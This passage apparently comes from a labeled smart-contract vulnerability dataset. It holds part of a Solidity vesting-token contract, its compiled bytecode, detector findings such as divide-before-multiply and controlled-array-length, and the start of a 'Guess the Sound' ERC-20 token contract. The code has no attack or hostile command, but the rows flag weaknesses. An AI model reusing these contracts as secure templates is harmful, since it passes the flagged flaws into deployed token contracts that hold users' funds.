for (i = tokenAccountIndex[_who].vestingIndex[_idx].nextReleasePeriod * tokenAccountIndex[_who].vestingIndex[_idx].releaseRate; i < maxEligibleFactor; i += tokenAccountIndex[_who].vestingIndex[_idx].releaseRate) {
eligibleAmount += releaseStep;
}
return eligibleAmount;
}
// will release and make transferable any tokens eligible for release
// to avoid waste of gas, the calling agent should have confirmed with checkRelease that there actually is something to release
function release(address _who, uint _idx) public returns(uint128) {
vesting storage v;
uint8 j;
uint8 i;
uint128 total;
uint timespan;
uint timestep;
uint128 releaseStep;
uint maxEligibleFactor;
// check if any tokens have been vested to this account
// don't burn gas if already completed
require(tokenAccountIndex[_who].vestingIndex.length > _idx);
v = tokenAccountIndex[_who].vestingIndex[_idx];
if (v.completed) {
revert();
}
// by dividing timespan (time passed since vesting creation) by the release intervals, we get the maximal rate that is eligible for release so far
// cap it at 100 percent
timespan = now - v.createdAt;
timestep = v.releaseIntervalSeconds * 1 seconds;
maxEligibleFactor = (timespan / timestep) * v.releaseRate;
if (maxEligibleFactor > 100) {
maxEligibleFactor = 100;
}
releaseStep = (v.amount * v.releaseRate) / 100;
for (i = v.nextReleasePeriod * v.releaseRate; i < maxEligibleFactor; i += v.releaseRate) {
total += releaseStep;
j++;
}
tokenAccountIndex[_who].vestedBalance -= total;
tokenAccountIndex[_who].releasedBalance += total;
if (maxEligibleFactor == 100) {
v.completed = true;
} else {
v.nextReleasePeriod += j;
}
return total;
}
// vestings state access
function getVestingAmount(address _who, uint _idx) public view returns (uint128) {
return tokenAccountIndex[_who].vestingIndex[_idx].amount;
}
function getVestingReleaseRate(address _who, uint _idx) public view returns (uint8) {
return tokenAccountIndex[_who].vestingIndex[_idx].releaseRate;
}
function getVestingReleaseInterval(address _who, uint _idx) public view returns(uint32) {
return tokenAccountIndex[_who].vestingIndex[_idx].releaseIntervalSeconds;
}
function getVestingCreatedAt(address _who, uint _idx) public view returns(uint) {
return tokenAccountIndex[_who].vestingIndex[_idx].createdAt;
}
function getVestingsCount(address _who) public view returns(uint) {
return tokenAccountIndex[_who].vestingIndex.length;
}
function vestingIsCompleted(address _who, uint _idx) public view returns(bool) {
require(tokenAccountIndex[_who].vestingIndex.length > _idx);
return tokenAccountIndex[_who].vestingIndex[_idx].completed;
}
// implements ERC223 interface
function transfer(address _to, uint256 _value, bytes _data, string _custom_callback_unimplemented) public returns(bool) {
uint128 shortValue;
// owner can only vest tokens
require(_to != owner);
require(msg.sender != owner);
// we use 128 bit data for values
// make sure it's converted correctly
shortValue = uint128(_value);
require(uint(shortValue) == _value);
// check if there is enough in the released balance
require(tokenAccountIndex[msg.sender].releasedBalance >= shortValue);
// check if the recipient has an account, if not create it
tokenAccountIndex[msg.sender].releasedBalance -= shortValue;
tokenAccountIndex[_to].releasedBalance += shortValue;
// ERC223 safe token transfer to contract
if (isContract(_to)) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
emit Transfer(msg.sender, _to, _value);
return true;
}
// implements ERC20/ERC223 interface
function transfer(address _to, uint256 _value, bytes _data) public returns (bool) {
return transfer(_to, _value, _data, "");
}
// implements ERC20/ERC223 interface
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty, "");
}
// not used for this token
// implements ERC20 interface
function transferFrom(address _from, address _to, uint256 _value) public returns(bool) {
return false;
}
// not used for this token
// implements ERC20 interface
function approve(address _spender, uint256 _value) public returns(bool) {
return false;
}
// not used for this token
// implements ERC20 interface
function allowance(address _owner, address _spender) public view returns(uint256) {
return 0;
}
// check the total of vested tokens still locked for a particular address
function vestedBalanceOf(address _who) public view returns (uint) {
return uint(tokenAccountIndex[_who].vestedBalance);
}
// check the total of vested and released tokens assigned to a particular addresss
// (this is the actual token balance)
// implements ERC20/ERC223 interface
function balanceOf(address _who) public view returns (uint) {
if (_who == owner) {
return availableSupply;
}
return uint(tokenAccountIndex[_who].vestedBalance + tokenAccountIndex[_who].releasedBalance);
}
// external addresses (wallets) will have codesize 0
function isContract(address _addr) private view returns (bool) {
uint l;
// Retrieve the size of the code on target address, this needs assembly .
assembly {
l := extcodesize(_addr)
}
return (l > 0);
}
} | 0x606060405260043610610133576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630357371d14610138578063063cfaf0146101b257806306fdde031461020e578063095ea7b31461029c5780630e2d1a2a146102f657806318160ddd1461034357806323b872dd1461036c5780632d46a9ce146103e5578063313ce5671461043b57806370a082311461046a5780637ecc2b56146104b75780638da5cb5b1461050457806395d89b41146105595780639c81a5f6146105e7578063a9059cbb14610634578063be45fd621461068e578063cadb52361461072b578063dd62ed3e146107b2578063dd75ecce1461081e578063f14ca7d714610898578063f6368f8a146108fa578063fd27ce93146109da578063ff7e5abd14610a54575b600080fd5b341561014357600080fd5b610178600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610aae565b60405180826fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101bd57600080fd5b6101f2600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610e37565b604051808260ff1660ff16815260200191505060405180910390f35b341561021957600080fd5b610221610eaf565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610261578082015181840152602081019050610246565b50505050905090810190601f16801561028e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156102a757600080fd5b6102dc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ee8565b604051808215151515815260200191505060405180910390f35b341561030157600080fd5b61032d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ef3565b6040518082815260200191505060405180910390f35b341561034e57600080fd5b610356610f6d565b6040518082815260200191505060405180910390f35b341561037757600080fd5b6103cb600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f73565b604051808215151515815260200191505060405180910390f35b34156103f057600080fd5b610425600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f7f565b6040518082815260200191505060405180910390f35b341561044657600080fd5b61044e610fea565b604051808260ff1660ff16815260200191505060405180910390f35b341561047557600080fd5b6104a1600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610fef565b6040518082815260200191505060405180910390f35b34156104c257600080fd5b6104ca611158565b60405180826fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561050f57600080fd5b61051761117a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561056457600080fd5b61056c6111a0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105ac578082015181840152602081019050610591565b50505050905090810190601f1680156105d95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156105f257600080fd5b61061e600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111d9565b6040518082815260200191505060405180910390f35b341561063f57600080fd5b610674600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611228565b604051808215151515815260200191505060405180910390f35b341561069957600080fd5b610711600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611257565b604051808215151515815260200191505060405180910390f35b341561073657600080fd5b610798600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080356fffffffffffffffffffffffffffffffff1690602001909190803560ff1690602001909190803563ffffffff1690602001909190505061127e565b604051808215151515815260200191505060405180910390f35b34156107bd57600080fd5b610808600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061171e565b6040518082815260200191505060405180910390f35b341561082957600080fd5b61085e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611729565b60405180826fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156108a357600080fd5b6108d8600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506117b0565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b341561090557600080fd5b6109c0600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061182b565b604051808215151515815260200191505060405180910390f35b34156109e557600080fd5b610a1a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611c76565b60405180826fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610a5f57600080fd5b610a94600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050612222565b604051808215151515815260200191505060405180910390f35b600080600080600080600080600089600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010180549050111515610b0f57600080fd5b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001018a815481101515610b5e57fe5b906000526020600020906002020197508760010160169054906101000a900460ff1615610b8a57600080fd5b87600001544203935060018860010160119054906101000a900463ffffffff160263ffffffff1692508760010160109054906101000a900460ff1660ff168385811515610bd357fe5b040290506064811115610be557606490505b60648860010160109054906101000a900460ff1660ff168960010160009054906101000a90046fffffffffffffffffffffffffffffffff16026fffffffffffffffffffffffffffffffff16811515610c3957fe5b0491508760010160109054906101000a900460ff168860010160159054906101000a900460ff160295505b808660ff161015610c9757818501945086806001019750508760010160109054906101000a900460ff1686019550610c64565b84600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff160392506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555084600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160108282829054906101000a90046fffffffffffffffffffffffffffffffff160192506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff1602179055506064811415610df65760018860010160166101000a81548160ff021916908315150217905550610e26565b868860010160158282829054906101000a900460ff160192506101000a81548160ff021916908360ff1602179055505b849850505050505050505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010182815481101515610e8857fe5b906000526020600020906002020160010160109054906101000a900460ff16905092915050565b6040805190810160405280600b81526020017f4372797074616e6f67656e00000000000000000000000000000000000000000081525081565b600080905092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff169050919050565b60005481565b60008090509392505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010182815481101515610fd057fe5b906000526020600020906002020160000154905092915050565b600881565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561107f57600160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff169050611153565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160109054906101000a90046fffffffffffffffffffffffffffffffff16600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a90046fffffffffffffffffffffffffffffffff16016fffffffffffffffffffffffffffffffff1690505b919050565b600160009054906101000a90046fffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f4347454e0000000000000000000000000000000000000000000000000000000081525081565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101805490509050919050565b6000611232612300565b61124e848483602060405190810160405280600081525061182b565b91505092915050565b6000611275848484602060405190810160405280600081525061182b565b90509392505050565b6000611288612314565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112e457600080fd5b6000856fffffffffffffffffffffffffffffffff1611151561130557600080fd5b60648460ff161115801561131c575060008460ff16115b151561132757600080fd5b60008363ffffffff1611151561133c57600080fd5b60008460ff16606481151561134d57fe5b0660ff1614151561135d57600080fd5b600160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16856fffffffffffffffffffffffffffffffff16111515156113ae57600080fd5b428160000181815250508481602001906fffffffffffffffffffffffffffffffff1690816fffffffffffffffffffffffffffffffff16815250508360ff1660648115156113f757fe5b04816040019060ff16908160ff168152505082816060019063ffffffff16908163ffffffff16815250506000816080019060ff16908160ff168152505060008160a0019015159081151581525050600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001018054806001018281611499919061236b565b916000526020600020906002020160008390919091506000820151816000015560208201518160010160006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555060408201518160010160106101000a81548160ff021916908360ff16021790555060608201518160010160116101000a81548163ffffffff021916908363ffffffff16021790555060808201518160010160156101000a81548160ff021916908360ff16021790555060a08201518160010160166101000a81548160ff02191690831515021790555050505084600160008282829054906101000a90046fffffffffffffffffffffffffffffffff160392506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555084600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a90046fffffffffffffffffffffffffffffffff160192506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff1602179055508573ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8760405180826fffffffffffffffffffffffffffffffff16815260200191505060405180910390a36001915050949350505050565b600080905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001018281548110151561177a57fe5b906000526020600020906002020160010160009054906101000a90046fffffffffffffffffffffffffffffffff16905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001018281548110151561180157fe5b906000526020600020906002020160010160119054906101000a900463ffffffff16905092915050565b6000806000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415151561188d57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515156118ea57600080fd5b85915085826fffffffffffffffffffffffffffffffff1614151561190d57600080fd5b816fffffffffffffffffffffffffffffffff16600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160109054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff161015151561199e57600080fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160108282829054906101000a90046fffffffffffffffffffffffffffffffff160392506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555081600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160108282829054906101000a90046fffffffffffffffffffffffffffffffff160192506101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff160217905550611adb876122ed565b15611c03578690508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3388886040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611ba5578082015181840152602081019050611b8a565b50505050905090810190601f168015611bd25780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1515611bf257600080fd5b5af11515611bff57600080fd5b5050505b8673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef886040518082815260200191505060405180910390a3600192505050949350505050565b6000611c80612314565b60008060008060008088600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010180549050111515611cdc57600080fd5b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010189815481101515611d2b57fe5b906000526020600020906002020160c06040519081016040529081600082015481526020016001820160009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1681526020016001820160109054906101000a900460ff1660ff1660ff1681526020016001820160119054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016001820160159054906101000a900460ff1660ff1660ff1681526020016001820160169054906101000a900460ff16151515158152505096508660a0015115611e295760009750612215565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010189815481101515611e7857fe5b906000526020600020906002020160000154420394506001600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001018a815481101515611edf57fe5b906000526020600020906002020160010160119054906101000a900463ffffffff160263ffffffff169350600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010189815481101515611f5957fe5b906000526020600020906002020160010160109054906101000a900460ff1660ff168486811515611f8657fe5b040292506064831115611f9857606492505b6064600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001018a815481101515611fe957fe5b906000526020600020906002020160010160109054906101000a900460ff1660ff16600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001018b81548110151561205a57fe5b906000526020600020906002020160010160009054906101000a90046fffffffffffffffffffffffffffffffff16026fffffffffffffffffffffffffffffffff168115156120a457fe5b049150600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101898154811015156120f657fe5b906000526020600020906002020160010160109054906101000a900460ff16600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001018a81548110151561216457fe5b906000526020600020906002020160010160159054906101000a900460ff160260ff1695505b82861015612211578181019050600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101898154811015156121e657fe5b906000526020600020906002020160010160109054906101000a900460ff1660ff168601955061218a565b8097505b5050505050505092915050565b600081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001018054905011151561227757600080fd5b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101828154811015156122c657fe5b906000526020600020906002020160010160169054906101000a900460ff16905092915050565b600080823b905060008111915050919050565b602060405190810160405280600081525090565b60c0604051908101604052806000815260200160006fffffffffffffffffffffffffffffffff168152602001600060ff168152602001600063ffffffff168152602001600060ff1681526020016000151581525090565b81548183558181151161239857600202816002028360005260206000209182019101612397919061239d565b5b505050565b61243791905b80821115612433576000808201600090556001820160006101000a8154906fffffffffffffffffffffffffffffffff02191690556001820160106101000a81549060ff02191690556001820160116101000a81549063ffffffff02191690556001820160156101000a81549060ff02191690556001820160166101000a81549060ff0219169055506002016123a3565b5090565b905600a165627a7a72305820889c60d9f2f2c5db00da48b4e22528b22b396e69619453bcaba5dd76c7b7e77d0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 848 |
0x4acd666e5e13ca28931a9f582c4e55075803bbd0 | pragma solidity ^0.4.19;
/*
* Creator: GTS (Guess the Sound)
*/
/*
* Abstract Token Smart Contract
*
*/
/*
* Safe Math Smart Contract.
* https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* ERC-20 standard token interface, as defined
* <a href="http://github.com/ethereum/EIPs/issues/20">here</a>.
*/
contract Token {
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* Abstract Token Smart Contract that could be used as a base contract for
* ERC-20 token contracts.
*/
contract AbstractToken is Token, SafeMath {
/**
* Create new Abstract Token contract.
*/
function AbstractToken () {
// Do nothing
}
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return accounts [_owner];
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(_to != address(0));
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
Transfer (msg.sender, _to, _value);
return true;
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(_to != address(0));
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
if (_value > 0 && _from != _to) {
allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value);
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
Transfer(_from, _to, _value);
return true;
}
/**
* Allow given spender to transfer given number of tokens from message sender.
* @param _spender address to allow the owner of to transfer tokens from message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) returns (bool success) {
allowances [msg.sender][_spender] = _value;
Approval (msg.sender, _spender, _value);
return true;
}
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance(address _owner, address _spender) constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) accounts;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) private allowances;
}
/**
* Guess the Sound token smart contract.
*/
contract GTSToken is AbstractToken {
/**
* Maximum allowed number of tokens in circulation.
* tokenSupply = tokensIActuallyWant * (10 ^ decimals)
*/
uint256 constant MAX_TOKEN_COUNT = 500000000 * (10**18);
/**
* Address of the owner of this smart contract.
*/
address private owner;
/**
* Frozen account list holder
*/
mapping (address => bool) private frozenAccount;
/**
* Current number of tokens in circulation.
*/
uint256 tokenCount = 0;
/**
* True if tokens transfers are currently frozen, false otherwise.
*/
bool frozen = false;
/**
* Create new token smart contract and make msg.sender the
* owner of this smart contract.
*/
function GTSToken () {
owner = msg.sender;
}
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply() constant returns (uint256 supply) {
return tokenCount;
}
string constant public name = "Guess the Sound";
string constant public symbol = "GTS";
uint8 constant public decimals = 18;
/**
* Transfer given number of tokens from message sender to given recipient.
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(!frozenAccount[msg.sender]);
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(!frozenAccount[_from]);
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
/**
* Change how many tokens given spender is allowed to transfer from message
* spender. In order to prevent double spending of allowance,
* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value)
returns (bool success) {
require(allowance (msg.sender, _spender) == 0 || _value == 0);
return AbstractToken.approve (_spender, _value);
}
/**
* Create _value new tokens and give new created tokens to msg.sender.
* May only be called by smart contract owner.
*
* @param _value number of tokens to create
* @return true if tokens were created successfully, false otherwise
*/
function createTokens(uint256 _value)
returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
// adding transfer event and _from address as null address
Transfer(0x0, msg.sender, _value);
return true;
}
return false;
}
/**
* Set new owner for the smart contract.
* May only be called by smart contract owner.
*
* @param _newOwner address of new owner of the smart contract
*/
function setOwner(address _newOwner) {
require (msg.sender == owner);
owner = _newOwner;
}
/**
* Freeze ALL token transfers.
* May only be called by smart contract owner.
*/
function freezeTransfers () {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
Freeze ();
}
}
/**
* Unfreeze ALL token transfers.
* May only be called by smart contract owner.
*/
function unfreezeTransfers () {
require (msg.sender == owner);
if (frozen) {
frozen = false;
Unfreeze ();
}
}
/*A user is able to unintentionally send tokens to a contract
* and if the contract is not prepared to refund them they will get stuck in the contract.
* The same issue used to happen for Ether too but new Solidity versions added the payable modifier to
* prevent unintended Ether transfers. However, there’s no such mechanism for token transfers.
* so the below function is created
*/
function refundTokens(address _token, address _refund, uint256 _value) {
require (msg.sender == owner);
require(_token != address(this));
AbstractToken token = AbstractToken(_token);
token.transfer(_refund, _value);
RefundTokens(_token, _refund, _value);
}
/**
* Freeze specific account
* May only be called by smart contract owner.
*/
function freezeAccount(address _target, bool freeze) {
require (msg.sender == owner);
require (msg.sender != _target);
frozenAccount[_target] = freeze;
FrozenFunds(_target, freeze);
}
/**
* Logged when token transfers were frozen.
*/
event Freeze ();
/**
* Logged when token transfers were unfrozen.
*/
event Unfreeze ();
/**
* Logged when a particular account is frozen.
*/
event FrozenFunds(address target, bool frozen);
/**
* when accidentally send other tokens are refunded
*/
event RefundTokens(address _token, address _refund, uint256 _value);
